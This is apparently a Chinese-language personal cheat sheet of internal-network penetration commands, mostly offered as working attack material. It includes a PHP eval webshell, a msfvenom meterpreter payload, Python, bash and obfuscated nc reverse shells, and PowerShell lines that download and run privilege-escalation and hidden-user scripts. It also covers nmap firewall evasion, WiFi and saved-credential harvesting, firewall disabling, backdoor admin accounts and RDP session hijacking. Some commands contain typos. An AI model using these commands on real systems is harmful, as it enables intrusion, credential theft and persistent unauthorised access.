内网扫描笔记

0x00前言

收集记录了一些内网渗透的命令集合,用来以后的查询

0x01 扫描

# 主机发现,生成存活主机列表

nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24

 

# 端口发现,发现大部分常用端口

nmap -sS -T4 -Pn -oG TopTCP -iLIps.txt

nmap -sU -T4 -Pn -oN TopUDP -iL Ips.txt

nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL Ips.tx

 

# 端口发现,发现全部端口,但 非常慢

nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL Ips.txt

nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL Ips.txt

 

# 侦测服务版本

 

nmap -sV -T4 -Pn -oG ServiceDetect -iL Ips.txt

 

# 扫做系统扫描

nmap -O -T4 -Pn -oG OSDetect -iL Ips.txt

 

# 系统和服务检测

nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL Ips.txt ### Nmap – 躲避防火墙

 

# 生成随机数量的欺骗

$ nmap -D RND:10 [target]

 

# 僵尸网络扫描, 首先需要找到僵尸网络的IP

nmap -sI [Zombie IP] [Target IP]

 

# 指定源端口号

nmap --source-port 80 IP

 

# MAC 地址欺骗,可以生成不同主机的 MAC 地址

nmap --spoof-mac Dell/Apple/3Com IP         # Nmap 进行 Web 漏洞扫描

 

放一张思路图

0x02 Windows信息收集

一句话木马<?php @eval($_GET['christa']);?><?php @eval($_POST['christa']);?>,然后使用蚁剑连接。或利用msf创造后门

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=192.168.1.106 LPORT=4668 -f exe > shell.exe

或者使用python进行连接

#!/usr/bin/python
import socket,subprocess,os; 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); 
s.connect(("<my ip address>",4668)); 
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2); 
p=subprocess.call(["/bin/sh","-i"]);

一些收集的命令

query user || qwinsta 查看当前在线用户
net user  查看本机用户
net user /domain 查看域用户
net user 用户名 密码 /add 创建用户
net user /del 删除用户
net view & net group "domain computers" /domain 查看当前域计算机列表 第二个查的更多
net view /domain 查看有几个域
net view \\dc   查看dc域内共享文件
netsh firewall set opmode disable   关闭Windows防火墙
net group /domain 查看域里面的组
net group "domain admins" /domain 查看域管
net localgroup administrators /domain   /这个也是查域管,是升级为域控时,本地账户也成为域管
net group "domain controllers" /domain 域控
net time /domain 
net config workstation   当前登录域 - 计算机名 - 用户名
net use \\域控(如pc.xx.com) password /user:xxx.com\username 相当于这个帐号登录域内主机,可访问资源
systeminfo
tasklist /svc
tasklist /S ip /U domain\username /P /V 查看远程计算机tasklist
net localgroup administrators && whoami 查看当前是不是属于管理组
netstat -ano
nltest /dclist:xx  查看域控
dsquery
whoami /all 查看Mandatory Label uac级别和sid号
net sessoin 查看远程连接session(需要管理权限)
net share     共享目录
cmdkey /l   查看保存登陆凭证
echo %logonserver%  查看登陆域
spn –l administrator spn记录
set  环境变量
dsquery server - 查找目录中的 AD DC/LDS 实例
dsquery user - 查找目录中的用户
dsquery computer 查询所有计算机名称windows 2003
dir /s *.exe 查找指定目录下及子目录下没隐藏文件
arp -a  

使用netpass.exe获得vpn密码

下载地址运行既可以得到vpn密码

获取wifi密码

netsh wlan show profile 查询所有wifi的SSID

netsh wlan show profile WiFi-name key=clear  查询具体wifi的信息

端口转发

netsh interface portproxy show all  显示端口转发代理参数

netsh interface portproxy set v4tov4 listenaddress=192.0.0.1 listenport=3389 connectaddress=192..0.0.2 connectport=3389    将192.0.0.1的3389端口转发到192..0.0.2的3389端口(可以实现内网之间的相互通信

netsh interface portproxy delete v4tov4 listenport=3389  删除本地端口3389的端口转发配置

ssh命令方式

ssh -qTfnN -D <port> -p 22  user@host

  • -D 绑定本地端口
  • -p 远程服务器的端口
  • -q Quiet mode  ssh的诊断信息以及警告等信息被预制
  • -T 禁用终端伪协议
  • -f 该选项是后台执行的ssh在规定(10秒)内进行连接,如果超过该时间则ssh将退出
  • -n 重定向标准输入到//dev/null中,为防止从标准输入中读入。ssh进行后台执行时必须使用该参数。该选项对于要求输入密码不起作用
  • -N 不执行远程命令

 

利用metasploit探测内网存活ip

基于auxiliary/scanner/portscan/syn发现内网存活主机

基于auxiliary/scanner/portscan/ftpbounce发现内网存活主机

基于auxiliary/scanner/portscan/xmas发现内网存活主机

基于auxiliary/scanner/rdp/rdp_scanner发现内网存活主机

 

#  基于windows/gather/arp_scanner发现内网主机

meterpreter > run windows/gather/arp_scanner RHOSTS=192.168.1.110120 THREADS=20

# 基于windows/gather/enum_ad_computers

meterpreter > run windows/gather/enum_ad_computers

# 基于windows/gather/enum_computers

meterpreter > run windows/gather/enum_computers

# 基于windows/gather/enum_domain

meterpreter > run windows/gather/enum_domain

# 基于windows/gather/enum_ad_user_comments

meterpreter > run windows/gather/enum_ad_user_comments

同时还有3389无法加入用户的解决办法

使用tscon进行未授权登陆

获取用户的对应的sessionid,执行如下命令

query user

选取其中的一种,获得system权限,接着输入如下命令

tscon 2

即可以转化成所需要的会话ID

开启sys权限cmd

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-TokenManipulation.ps1');Invoke-TokenManipulation -CreateProcess 'cmd.exe' -Username 'nt authority\system'

add user 并隐藏

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/3gstudent/Windows-User-Clone/master/Windows-User-Clone.ps1')

执行下一命令

next step n s

继续执行

continue c

0x03Linux 信息收集

使用基础命令,反弹shell

bash -i >& /dev/tcp/your-ip/port 0>&1

绕过一般使用命令,以long格式转换ip地址127.0.0.1,

/???/n? -e /???/b??h 2130706433 4668  # nc -e /bin/bash 127.0.0.1 4668

在kali中使用nc.traditional而不是nc没有e参数,连接在/bin.bash后中执行

/???/?c.??????????? -e /???/b??h 2130706499 4668

 

根据多个'会显示一个样子的情况

# echo christa

# echo 'c'h'r'i's't'a'

# echo 'ch' 'rista'

# echo 'ch'rista''

# echo 'chr'''istia

Veil

使用Veil生成shell,在kali中使用apt-get install veil安装veil

Veil
use 1
use c/meterpreter/rev_tcp

我使用ngrok进行内网穿透将流量转换过来

使用python将文件传输出来

# python2

python -m SimpleHTTPServer  port

 

# python3

python -m http.server port

Perl

perl -MHTTP::Server::Brick -e '$s=HTTP::Server::Brick->new(port=>1337); $s->mount("/"=>{path=>"."}); $s->start'
perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 +? "./$1 |" : $1) if /^GET \/(.*) / })'

powershell是一个强大渗透工具呀,最后插一句大佬的名言

渗透测试的本质是信息收集

3389拿权限

net user test test  /add

net localgroup administrators test /add

Tips:

https://github.com/3gstudent/Pentest-and-Development-Tips

Reference

  1. http://momomoxiaoxi.com/2016/05/29/securitytips/
  2. https://paper.seebug.org/610/
  3. https://paper.seebug.org/381/
  4. https://github.com/Micropoor/Micro8